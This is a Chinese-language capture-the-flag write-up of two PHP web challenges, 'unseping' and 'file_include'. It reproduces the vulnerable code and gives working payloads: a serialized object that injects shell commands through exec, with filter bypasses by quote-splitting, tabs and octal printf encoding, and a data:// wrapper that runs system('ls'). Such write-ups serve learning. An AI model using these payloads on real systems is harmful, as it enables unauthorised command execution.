unseping
这道题好难,看WP做的
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
进入后看到的代码如上,先研究代码
@unserialize(base64_decode($ctf))
对于post的参数解码后反序列化
__wakeup
用于unserialize时会调用该方法
其中的waf()
用于过滤,使用了preg_match_all
函数
最后在析构函数中in_array比较,检测method是不是在数组array(“ping”)里面
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$a=new ease('ping',array(urldecode('pwd')));
echo urlencode(base64_encode(serialize($a)));
?>
构造序列化字符串,可以查看到当前目录是/var/www/html
$a=new ease('ping',array(urldecode('l\'\'s')));
这里使用了单引号隔开绕过waf
得到的结果如下:
array(2) { [0]=> string(12) “flag_1s_here” [1]=> string(9) “index.php” }
之后查看flag_1s_here应该就可以,使用'ca\'\'t%09fla\'\'g_1s_here'
结果发现是空的……是因为权限不够…..劝退了,后面的方法见https://blog.csdn.net/JIN_7X/article/details/127062413
然后看攻防世界里面给的WP,它是这么写的
$a = new ease("ping",array('$(printf "\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo base64_encode($b);
那一长串8进制ASCII解码后是cat flag_1s_here/flag_831b69012c67b35f.php,原来前面的是个目录,目录里面的才是flag,而且这招printf加ASCII编码的方法直接绕过了,真心秀!
那按照之前的方法应该是
$a=new ease('ping',array(urldecode('l\'\'s%09fla\'\'g_1s_here')));
发现可以找到flag_831b69012c67b35f.php,然后再查看文件,具体绕过方法以后再学吧,就到这里。
file_include
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
进去同样是代码,可以通过include进行文件上传,但是我试了半天都失败了
证明又有过滤!遇事不决,WP
filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
base64解密为<?php system("ls")?>
data://是一种伪协议,本题中要用php://伪协议。
不说了,我没完全搞懂,直接上链接
https://blog.csdn.net/cocoaiu/article/details/126319957
告辞!以后再来!